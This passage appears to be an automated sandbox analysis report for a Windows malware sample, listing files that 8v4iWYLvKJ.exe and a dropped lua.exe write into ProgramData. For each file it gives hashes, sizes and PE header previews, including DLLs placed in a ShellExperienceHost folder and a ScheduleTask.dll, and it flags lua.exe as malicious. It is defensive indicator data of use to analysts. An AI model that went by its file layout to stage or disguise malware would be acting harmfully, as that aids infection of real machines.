C:\ProgramData\ShellExperienceHost\api-ms-win-core-synch-l1-2-0.dll Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12088
Entropy (8bit):	6.710746156342401
Encrypted:	false
SSDEEP:	192:oXtZ39hcWphWmD1S8f4DBQABJtY1S4kOqnaj2NLOmkK:ytZ39hcWphWmD1IDBRJtClgilK
MD5:	B472CB62FD29F5686FF6C04B6CBBA074
SHA1:	56EC685C0A09F62075BB404F96B76D6ABC6E114B
SHA-256:	02C4E2DC2C922F17E1E174AF76253775EE0AB2F83C421FD769591CE010FB1AFD
SHA-512:	DA9F551268C87D756A9E4DD55BFB2EDDC04B9CCC584B348A13D45C82E2F00A4DA8A1BAA7182AE2EB8048B8D479634C8D184DB1599A45FF89250950B483334F99
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d...;.?A.........." .........................................................0......T.....`.........................................`...x............ ..................8!..............T............................................................................rdata..............................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\api-ms-win-core-timezone-l1-1-0.dll Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12088
Entropy (8bit):	6.698884766840221
Encrypted:	false
SSDEEP:	192:GSWphWCD1S8f4DBQABJtEV3pPqs7IwdY+kqnajHaqxgmIh:GSWphWCD1IDBRJtETzIwS+klTx4
MD5:	83E18EE6246907BA1DE2715692C113C7
SHA1:	A18E09D763330ACF895ED276CC34597FF12A0319
SHA-256:	F2F3A2519F439A68E85E54DF2277B49758765C3FA80F10BE8186E95FAD0F481F
SHA-512:	27C374E1C39C837DD48BBB415556145B41406D6881D90EC4CF4876FCB7BD6E856759A0EB4FEAC2AFC8B008C449DE9A8FBCBD9A1136ED4A20180693C89E63E365
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d.....8..........." .........................................................0......s.....`.........................................`...P............ ..................8!..............T............................................................................rdata..t...........................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\api-ms-win-crt-conio-l1-1-0.dll Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12600
Entropy (8bit):	6.626069586956527
Encrypted:	false
SSDEEP:	192:yEWphWbD1S8f4DBQABJtkzCKQRW52fqnaj7zd1T8i:yEWphWbD1IDBRJtiNifl/zd1v
MD5:	057BD0ABEF440891440A32C9FF22AE4E
SHA1:	4B73E7BE26B100BF2E81475A1F04433A6D912569
SHA-256:	B1D8CDE490382992D4C73A75C532999BD25FCF4DC484E99C4DF0DA3BB8EAB064
SHA-512:	87B524A001A7C57FF721549F0B03B1B5103685E2DA2DC10E3D4E0FEDC276FC2ACA0954C12B4504A97373D5292FC57563FFCF4046A70B8E0B4D6E3B071014B386
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d....(C~.........." .........................................................0.......F....`.........................................0................ ..................8!..............T............................................................................rdata.. ...........................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\api-ms-win-crt-convert-l1-1-0.dll Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	15672
Entropy (8bit):	6.429073005612887
Encrypted:	false
SSDEEP:	192:w89M0wd8dc9cy1WphWWD1S8f4DBQABJt9o0Z5uE7Mqnajcno:wt0wd8xy1WphWWD1IDBRJtO0zuOMlAo
MD5:	C8DBF0CA88FACFE87899168A7F7DB52C
SHA1:	E2CF163AD067B5D3B19908A71ED393711F66CD09
SHA-256:	94B6E91B93C2202DABD659BFF294BEE87C22897A30A6B4930B49051C2FB502DC
SHA-512:	E85C738F5D5A0AE6C3EF75A082712CB3CF2FEAE4560D316CB110E4EAF3A97D6058D5374DA2A5EDDE39C3114F9AFF8A027CBDFF8CF49BE2425943BAC09C39E70B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d...b.&..........." .........................................................@............`.........................................0................0..................8!..............T............................................................................rdata..............................@..@.rsrc........0......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\api-ms-win-crt-environment-l1-1-0.dll Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12088
Entropy (8bit):	6.592274834533459
Encrypted:	false
SSDEEP:	192:yKNcWphWCD1S8f4DBQABJtG3pPqs7IwdY+kqnajHaqxgm2:yKNcWphWCD1IDBRJt8zIwS+klTxC
MD5:	9653409A06CF90AEAE4491EE6A66125C
SHA1:	CE0565B4212FA2D9824AB52C151BC13836B981F6
SHA-256:	5833BF2D9A301ED80514E6133B0DFF7C9BA152B4631FA6BC0153FDD696C0757F
SHA-512:	F09AFAEF6E848C133294A5E75FD8E5FDE27B57D429FB504D2F97B42ABBBA4E0BD878BA84B89152558C3C721F2184A114FAADA7B77892222180450E99AB9DE828
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d...X.&..........." .........................................................0......X.....`.........................................0..."............ ..................8!..............T............................................................................rdata..R...........................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\api-ms-win-crt-filesystem-l1-1-0.dll Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13840
Entropy (8bit):	6.66153979380542
Encrypted:	false
SSDEEP:	192:zt/PGnWlC0i5C9WphWAeD1S8f4DBQABJJ2yy2D8KN3qnajV2MVorr:VunWm5C9WphWbD1IDBRJJkt2lxnorr
MD5:	42A2A95F1BB940D01F55EB1674A81FE2
SHA1:	F982F3BBB4DC3AAABA8DF098D1B395846F7CBA08
SHA-256:	51541EC6684B43157A85EA46A42EBED4555BE06BED0D0D07FF3EA6377301318D
SHA-512:	DE9A7A1A6A45E2F76105EAEAFCC3C29ADBFF142DCF2586E147417045B897A9DCDDEC5E1B97ACFC5D3FC9C8E3A508DBC3F607BF3DF20A7435E74436F94CB056B6
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d...M%I..........." .........................................................0............`.........................................0................ ..................."..............T............................................................................rdata..............................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\api-ms-win-crt-heap-l1-1-0.dll Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12600
Entropy (8bit):	6.564902228429042
Encrypted:	false
SSDEEP:	192:DaY17aFBRQWphWp+QD1S8f4DBQABJtAa46ArNc4qnajr7PQW:7VWphWFD1IDBRJtAa54lrPQW
MD5:	98DA186FD7D7873C164A51C5D7B77F1A
SHA1:	725A8B8FDFBE6A1E85674F4B2A7C0DD08411E00B
SHA-256:	80139E4CAA379D87B1D1DAFC23ACE71D2B330368115F6314140D4AE59C2A78E8
SHA-512:	587B49A24CC59D4DCB62B59F379D1C9010196A6551CFC99FFDD931EEB0172618F020863191E530D65AD198E57063C57BA6F70BCF80591304243268EA5513F806
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d...+..<.........." .........................................................0............`.........................................0................ ..................8!..............T............................................................................rdata..F...........................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\api-ms-win-crt-locale-l1-1-0.dll Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12088
Entropy (8bit):	6.688860624820208
Encrypted:	false
SSDEEP:	192:JWphWzDD1S8f4DBQABJtySO5M8xOSqnaj3yAY9:JWphWHD1IDBRJtyICTluAY9
MD5:	FF48B107B2449A647C64BAABD49408A1
SHA1:	EFB868BA125D9FF08474F02B9483D74C36A13CEE
SHA-256:	7BB8644E565AD4BCFD890F9044BCCB4D99953A740E9A500B1F820B2FDC3FC240
SHA-512:	4DA2E4B727E7F31F8BFFD680453C451B444BDF217C15CB36E353F8BB5ECB6C6481CAA7D848558C7D94CFC2D1BC3551ACE11E85FFC8EC7A7B570A59C294EA0216
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d....u.).........." .........................................................0............`.........................................0...e............ ..................8!..............T............................................................................rdata..............................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\api-ms-win-crt-math-l1-1-0.dll Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	21008
Entropy (8bit):	6.216296697633644
Encrypted:	false
SSDEEP:	384:rJI2M4Oe59Ckb1hgmLZWphW1D1IDBRJJo95DKlxT1xpN:ri2Mq59Bb1jEkI1PU5Dmv
MD5:	E10E077BB06209AEDD0D0D378C758F73
SHA1:	97A9053A311280678F8EF65DC4E25975C41BD4EE
SHA-256:	8A7BFF1C918539A75C25568DB25933D653C003E016FD7791A37186B42BBB7C20
SHA-512:	571C1FC4192320BD967B603E6CDA917A62F4720EB4DCD557EC2913D2558C0CFE68F936198F5809934AAA3A1D6049E8E918EB0E638A7244DF5C71EF0C78843191
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d................." .........,...............................................P......+.....`.........................................0....%...........@...............0..."..............T............................................................................rdata...&.......(..................@..@.rsrc........@.......,..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\api-ms-win-crt-multibyte-l1-1-0.dll Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	19768
Entropy (8bit):	6.187858108767444
Encrypted:	false
SSDEEP:	384:6USrxLPmIHJI6/CpG3t2G3t4odXLZWphWwD1IDBRJtfNYLIKlzbT:biPmIHJI6inI1PALJ
MD5:	964CA669AC5B78969F5878BD3DAE4C6E
SHA1:	E6AFCF9E393900FBB16E1F0FC217135CE2BCAE31
SHA-256:	D1B720EE0C34F72467ACA491922B75E1BF08A71236926D96F65588A164659547
SHA-512:	6D8D692B956E1070B76A0A82B9FF67E2023454AD25A2D83E4A0EAF7033DAE5F55A7D99EB6074056686981ED0956642DCFA47EC09B2DA63518CEDFDFAB7B131F5
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d....m............" .........(...............................................P............`.........................................0.... ...........@...............,..8!..............T............................................................................rdata..$".......$..................@..@.rsrc........@.......(..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\api-ms-win-crt-private-l1-1-0.dll Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	64528
Entropy (8bit):	5.541377195160328
Encrypted:	false
SSDEEP:	1536:JTs8iYDe5c4bFe2JyhcvxXWpD7d3334BkZn+P9HPxc:/iYDe5c4bFe2JyhcvxXWpD7d3334BkZa
MD5:	BB6F4337173099F38FD45BEA90A5FB9A
SHA1:	B661D0BA0AA6974599FD15A2DDBC4084A02282BD
SHA-256:	77992FB879A7E0977858BAE7DD87B73F7D4219F926C9B4C595E1A957A53ACAB7
SHA-512:	BF22265CE158D3FE33DA546A5254711B5F453A9102354EF83387568E3E1AC02841FB246D99B3552CD2824E2674E953547D3A3A3C850FC461DB38BC52DC2F6A91
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d................." ......................................................................`.........................................0...................................."..............T............................................................................rdata..............................@..@.rsrc...............................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\api-ms-win-crt-process-l1-1-0.dll Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12816
Entropy (8bit):	6.602161953098382
Encrypted:	false
SSDEEP:	192:8nqjd71WphWAAD1S8f4DBQABJJn81M2XSoaqnajVMSLadj4:8n8WphWxD1IDBRJJ0Zalxb
MD5:	DABC28A5632A21E7F09ACCB9D69D10D7
SHA1:	254DA0966025E432B94A95B4700AF76AED0DEA73
SHA-256:	E53E39324294F677E238EEC0C084440C3F23DA171E6CB1E615A30504BF408A95
SHA-512:	6B5915EFD7BDE198DECA1F6B9A68E483DE2AC9D493A6999D5C7C2662C9B5B380F47D270D0FB98AFCCFC542CF78EAFF1988C56EEF33CD5A3F0A224256C94C33C1
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d....k............" .........................................................0......q.....`.........................................0...x............ ..................."..............T............................................................................rdata..............................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\api-ms-win-crt-runtime-l1-1-0.dll Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	16400
Entropy (8bit):	6.457853206819431
Encrypted:	false
SSDEEP:	192:uaajPrpJhhf4AN5/KipWphWAzD1S8f4DBQABJJLQ67T0q11qnajVtPx5g:ulbr7fWphWiD1IDBRJJL7Tplxb5g
MD5:	F91E1FF896B5616919AC97C7095C513E
SHA1:	4EC6EED0BAC5A8801DB10238C7B3A5D35A87BE67
SHA-256:	07382C0D91DAD2BB6BA8BD06EA02F12C57ABF7C4E5A70672E9F2954D09A4FFD4
SHA-512:	6448D6CDFDE11E1805B6D381111EA062F681807C9DC54AE890305F287B13B6FB57EF3F4D3B909E56B81C99830C086B5702B46BA0F93E695FCE2B87B32FA4B26A
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d...J.E..........." .........................................................@.......j....`.........................................0...4............0..................."..............T............................................................................rdata..d...........................@..@.rsrc........0......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\api-ms-win-crt-stdio-l1-1-0.dll Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	17960
Entropy (8bit):	6.408816797873159
Encrypted:	false
SSDEEP:	192:BpPLNPjFuWYFxEpah7WphWRD1S8f4DBQABJ+SiLuEbNEdiqnajVCpEbOg4:B19OFVh7WphWRD1IDBRJ5iLbnlxkEf
MD5:	429C26ED27A026442F89C95FF16CE8C2
SHA1:	69ED09FAAE00A980C296546C9B5E6A8D5F978439
SHA-256:	2A466648AFFD3D51B944F563BB65046A3DA91006A0D90FB2C0B123487A1FC1B3
SHA-512:	04641164D9E1EB3183DB0C406583626011DFE2B2574551C0AC466EBF44165AFCD7D8FAF356B8268B4FC9A54DB20DE010A4E4293594AD2E605950AEA65636F4E5
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d...&8............" ......... ...............................................@......8R....`.........................................0...a............0...............$..("..............T............................................................................rdata..............................@..@.rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\api-ms-win-crt-string-l1-1-0.dll Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	18472
Entropy (8bit):	6.2908411765250145
Encrypted:	false
SSDEEP:	384:fFvU4x0C5yguNvZ5VQgx3SbwA7yMVIkFGl3WphW+D1IDBRJ5YBMOnlxkEx:p5yguNvZ5VQgx3SbwA71IkFxVI1PKJ
MD5:	0F593E50BE4715AA8E1F6EB39434EDD5
SHA1:	1117709F577278717C34365CE879BCD7C956069B
SHA-256:	BF4EA10BE1B64C442AC0CCF4BDF69F6703467176A27E9E14A488D26448A6E179
SHA-512:	487DCBF7B7F18D62606CB2F05C8FEFF07E6ECDA42E643F5919C6EDDA66CDB3B8CC393B0D260374F06C10CF54082410FC9F02BD87CC50866BC0C28B0BCEC3E658
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d...W.>4.........." ........."...............................................@............`.........................................0................0...............&..("..............T............................................................................rdata..............................@..@.rsrc........0......."..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\api-ms-win-crt-time-l1-1-0.dll Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14136
Entropy (8bit):	6.542984945153259
Encrypted:	false
SSDEEP:	192:Uy5NDSWphWND1S8f4DBQABJFcqpVwyqnajlAph2xP:UUEWphWND1IDBRJFLvlmph2xP
MD5:	56B870CCDBD25A5DBC2CFC072BA13BD7
SHA1:	CB9F6ACDCB7DD5A8F9D02A1280793440F66BFEF3
SHA-256:	AC4E636F8E32A5D0FC274B56385ABFBC301B2EECD7FD76E28F3D367543E6E65F
SHA-512:	135D652BD4F5D74451B6F4ED39FBB2DF6F9ED2D16E2144C80A40B496D4131A4E5CA5A7615F69ABE90122B69E9B43D5238DA68DF7C750E31F021AC6FFB0990D37
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d....y.?.........." .........................................................0............`.........................................0................ ..................8!..............T............................................................................rdata..............................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\api-ms-win-crt-utility-l1-1-0.dll Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12296
Entropy (8bit):	6.693058520363979
Encrypted:	false
SSDEEP:	192:ZI6fHQduHWphWBmD1S8f4DBQABJRx1usUDR0qnajVXj9hcod:TfxWphWoD1IDBRJRx1uQlxzbL
MD5:	F3F683484B97D2365B0B77B5EBBEEFED
SHA1:	3420E5946C5415131B919A2951AD183212D2D89A
SHA-256:	023E5185CFF7CD2B8ADD590D4BC0E3240D24895C59CA8B0495E79608FD0BE88A
SHA-512:	3AA94EDDBD74041652202FB4CC21923A96829FF13C6B1C118FA7BBAD2CAC2AAB85E6E6323E72E419C07422A652E81A461BCD9475F98A616ADE1F76DD6B8F313B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d................." .........................................................0......@.....`.........................................0...^............ ..................."..............T............................................................................rdata..............................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\libcrypto-1_1-x64.dll Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2480296
Entropy (8bit):	5.887920723713364
Encrypted:	false
SSDEEP:	49152:avYUOh5Px04+pRXhFXv1uTrZ0adtqXfDGszqFzPm0PfQ1CPwDv3uFgskh:rr+v7XtEseS0PI1CPwDv3uFgsc
MD5:	8C75BCA5EA3BEA4D63F52369E3694D01
SHA1:	A0C0FD3D9E5688D75386094979171DBDE2CE583A
SHA-256:	8513E629CD85A984E4A30DFE4B3B7502AB87C8BC920825C11035718CB0211EA0
SHA-512:	6D80D26D91B704D50FF3AD74F76D6B1AFE98AF3D7A18E43011DBE3809ADC305B0E382C10868328EB82C9F8B4C77BCA1522BDC023C7C8712057B65F6579C9DFF5
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........B...#...#...#...[...#...K...#...K...#...K...#...K...#...E...#...#..j#...K...#...K...!...K...#...Kg..#...K...#..Rich.#..................PE..d......\.........." .....R...........g.......................................`&.......&...`......................................... . ..7...%.,.....%.......$..a....%.......%..C.....8.............................................%..............................text....Q.......R.................. ..`.rdata.......p.......V..............@..@.data...!.....#.......".............@....pdata..$.....$.......#.............@..@.idata...#....%..$....%.............@..@.00cfg........%......R%.............@..@.rsrc.........%......T%.............@..@.reloc...a....%..b...\%.............@..B........................................................................................................................................................

C:\ProgramData\ShellExperienceHost\libssl-1_1-x64.dll Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	523944
Entropy (8bit):	5.500138412850847
Encrypted:	false
SSDEEP:	12288:Wkgq6N7Z8nTtk2XXMEeDke/M9qAmZ/fTab4SeUYSvzaXSS3aEc89Yeyhy8Z8kmDD:W64ZBN9O+PS0npgcmrc
MD5:	0205C08024BF4BB892B9F31D751531A0
SHA1:	60875676BC6F2494F052769AA7D644EF4A28C5E5
SHA-256:	EBE7FFC7EB0B79E29BFC4E408EA27E9B633584DD7BC8E0B5FFC46AF19263844B
SHA-512:	45DA0C128BFB706CB0340AD40FBC691696F3483A0235FAAAC864DEA4580B57E36AA5B4B55A60322081D2D2E2DF788C550FD43C317582A9B6A2D66712DF215BD0
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......BxqD.............a......Tq......c.......Tq......Tq......Tq......jq..............jq..!...jq......jq......jq......Rich............................PE..d......\.........." .....f........... .......................................P............`.............................................=........... .......`..(;...........0..l....A..8............................A...............................................text....d.......f.................. ..`.rdata...h.......j...j..............@..@.data...9b.......Z..................@....pdata..<B...`...D..................@..@.idata...R.......T...r..............@..@.00cfg..............................@..@.rsrc........ ......................@..@.reloc..3....0......................@..B................................................................................................................................................

C:\ProgramData\lua\ScheduleTask.dll Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	136704
Entropy (8bit):	6.472955772089723
Encrypted:	false
SSDEEP:	3072:nXIDYPo8FvtRHHrZHln1E03UFeBBpj6U+E9sY7z11dyxuI2ICGbJeHG:XIDYbF9NH51E0V3x6U5sYOzbq
MD5:	565E85C506595D312521995D631C2650
SHA1:	D992E310EFF25BBC257F71094261700D3C824F18
SHA-256:	F10D5B3B93922465E06A56D250BD8C3945E6E71469F49F63D669469D76B599ED
SHA-512:	13B28436B2BD0A32A5E9E6DD2C2B0FACE616C750FB738DF5766880BFF43B87974EC40B02F5C64EFBF0FACC42A29743BFBF2CAD815B7CFFD86B21039BDE1D5BFC
Malicious:	false
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........2...S...S...S...8...S...8...S...8...S...8...S...&...S...&...S...&...S...8...S.......S...S...S...&...S...&...S...&...S...&...S..Rich.S..........................PE..L....K.`...........!.....t...........7.......................................`............@.............................X............0.......................@..D...H...p...............................@...............\|............................text...ls.......t.................. ..`.rdata...z.......\|...x..............@..@.data...............................@....rsrc........0......................@..@.reloc..D....@......................@..B........................................................................................................................................................................................................................................................................

C:\ProgramData\lua\alien\core.dll Download File
Process:	C:\Users\user\Desktop\8v4iWYLvKJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	26112
Entropy (8bit):	6.041879113053515
Encrypted:	false
SSDEEP:	384:AVoM6fWeey/2C5OjSxHve5O/AOeHS/OHWfsPYbRXSMinbbQdrl1gCTRKEznQTAt6:VKeeyhkmlm5KVial1gCTrnQAJHIz
MD5:	24B6950AFD8663A46246044E6B09ADD8
SHA1:	6444DAB57D93CE987C22DA66B3706D5D7FC226DA
SHA-256:	9AA3CA96A84EB5606694ADB58776C9E926020EF184828B6F7E6F9B50498F7071
SHA-512:	E1967E7E8C3D64B61451254DA281415EDF9946A6C8A46006F39AE091609C65666C376934B1BDCBD2A7F73ADEA7AA68E557694F804BF3BC3CE7854FA527E91740
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........S...2..2..2..P=..2.....2.....2.....2..2...2.....2.....2.....2..Rich.2..........PE..L......J...........!.....@...".......I.......P.......................................................................c..N....[..P....................................................................[..@............P..l............................text....?.......@.................. ..`.rdata.......P.......D..............@..@.data...\....p.......Z..............@....rsrc................\..............@..@.reloc...............^..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\lua\effil.dll Download File
Process:	C:\Users\user\Desktop\8v4iWYLvKJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	576000
Entropy (8bit):	6.601925533921573
Encrypted:	false
SSDEEP:	12288:xV1K6PVDcC6qzBHHK3byzqEuEmq1FiZgyrHstZ70uyZrGffGAOacxla:xV1K6JUrHsnL9fj
MD5:	7BDEAE70550388EDD83BCF7D8C53EDA0
SHA1:	36322EFB7B515AB4835801D9786C8330535F2F00
SHA-256:	6C4F740E386D663EE233D1288C12717DE3565A612DAFCC60054230C6789C1B8A
SHA-512:	F22489708730BE1BBC179FE2B20E77F4EB2A794B8A203CC28860D965295F280FFA8BC8081E7523B51488D142A513D801C2C8AB7A71493D92AC884C65698999E8
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.................................N...................................9..........A.....................Rich....................PE..L......`...........!.........*......_m....................................... ............@..........................,..L...,-..<................................b......................................@...............h............................text...F........................... ..`.rdata..............................@..@.data...l\...@...8...,..............@....rsrc................d..............@..@.reloc...b.......d...f..............@..B................................................................................................................................................................................................................................................................................................

C:\ProgramData\lua\lua.exe Download File
Process:	C:\Users\user\Desktop\8v4iWYLvKJ.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.6809046423291965
Encrypted:	false
SSDEEP:	96:+jurVfJLj9rM3RVrRBRGQuMPUdt6RUSffRnkqR7kRP4oynXzN37SXny:+6rqhV13GFnSHtko7yP4oynDN37Si
MD5:	847B0D65C80A8E777E8AA108295C0B95
SHA1:	A6DCB951B65A5C97ECA8BB65A3EDA638981AF4B9
SHA-256:	A379A56E5046C8F1991BE0E78B1C5491E45F96FD6EF7DD7F4301373D7375BCE1
SHA-512:	1AD381B6566E776083200CCC07C01298105B775B947F5CDD5665FCF765DE0ABA41BB74F55CBF000283562ADEBA026C7C4DF03A96EEC3942DE3D9E30DDB2BFCE5
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........qx...+...+...+f..+...+...+...+...+...+...+...+"..+...+...+...+Rich...+................PE..L...p..F.....................0......;........ ....@..........................P............................................... ..<....@............................................................................... ...............................text...\|........................... ..`.rdata....... ....... ..............@..@.data........0.......0..............@....rsrc........@.......@..............@..@........................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\lua\lua5.1.dll Download File
Process:	C:\Users\user\Desktop\8v4iWYLvKJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	6.375707469907049
Encrypted:	false
SSDEEP:	1536:5PXOqJ75sqpmtyAmYrAg4UbsX3ahajE2+3Q2efjT4Nk5cFcI:5GqJ7VEyAPAg4UwHEawH3Q2efYgcd
MD5:	DCF2333A8639BC0B9FC2295CB1B779FE
SHA1:	02BEF2211CADEC3ABF4075E6ACAA3FB37C63D166
SHA-256:	ACC74DEC46855B78D48813123029D49824AB6A087325EF223865272655A630BA
SHA-512:	9D93B4456096000671DF2009BFC28C35CB01D10E146BF6E7ADAC7F1850C0670A0C10C4697E1C02557E0B67AC317A1CC4D8509D87E4534377484D8B55D60DC6E0
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........#.K.M.K.M.K.M...C.J.M.).^.H.M.K.L...M...G.i.M...I.H.M.RichK.M.........PE..L...$..F...........!.....`...P.......o.......p...............................................................................z..<............................... ....................................................p..T............................text...._.......`.................. ..`.rdata.......p... ...p..............@..@.data...(........ ..................@....reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\lua\lua51.dll Download File
Process:	C:\Users\user\Desktop\8v4iWYLvKJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11264
